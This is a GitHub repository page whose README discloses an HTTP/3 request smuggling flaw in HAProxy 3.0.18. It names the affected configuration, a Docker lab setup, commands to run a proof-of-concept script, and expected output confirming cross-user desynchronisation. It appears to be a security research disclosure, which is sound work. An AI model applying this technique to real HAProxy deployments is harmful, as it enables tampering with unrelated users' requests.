Skip to content

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

HTTP Request Smuggling via HAProxy H3/QUIC Standalone FIN Body Validation Bypass

Summary

A vulnerability in HAProxy's HTTP/3 implementation allows an attacker to send an HTTP request with a Content-Length header that does not match the actual body size. HAProxy forwards this malformed request to the backend over HTTP/1.1 with the declared Content-Length but zero body bytes. When the backend sends an early response (e.g., 301 redirect) and drains the pending body from the TCP connection, it consumes bytes belonging to the next HTTP request on that connection — which may originate from a different user.

This results in cross-user HTTP request smuggling via HAProxy's backend connection pool.

Affected: HAProxy with QUIC/H3 support (USE_QUIC=1). Tested on HAProxy 3.0.18. Configuration required: http-reuse always (non-default, but common in production)

Lab Setup

Docker Compose with 3 services:

  • haproxy: H3/QUIC frontend (port 10002/udp) + H2/TCP (port 10002/tcp), backend connection pooling (http-reuse always)
  • nginx: Stock nginx 1.27 with autoindex on on /photos directory, /status returns 200
  • client: Python container with aioquic

Steps

# 1. Start the lab (HAProxy build takes ~10 min first time)
cd poc/
docker compose up -d --build

# 2. Run the PoC in continuous mode
docker exec -it poc-client python3 poc.py --target haproxy --port 10002 --interval 3

# 3. From a browser, navigate to https://<host>:10002/status
#    (accept self-signed cert, use --ignore-certificate-errors in Chrome)
#    Refresh repeatedly. ~50% of responses will be 400 Bad Request.

# 4. Stop the PoC (Ctrl+C). All browser responses return to normal (200).

Single-shot verification

docker exec -it poc-client python3 poc.py --target haproxy --port 10002 --once

Expected output:

[1] Sending poison request (H3/QUIC)...
    -> 301 received. Backend connection pooled with pending body drain.
[2] Waiting 0.5s for HAProxy to pool the connection...
[3] Sending victim GET /status from SEPARATE QUIC connection...
    -> Response: HTTP 400

  [!] SMUGGLING CONFIRMED
  [!] Victim on separate connection got 400 instead of 200
  [!] Backend parsed victim's request as body of poison POST

About

One zero-byte QUIC packet is enough to desynchronize HAProxy's backend connection pool and smuggle HTTP requests across unrelated users — even users on a completely different frontend protocol.

Resources

Stars

2 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages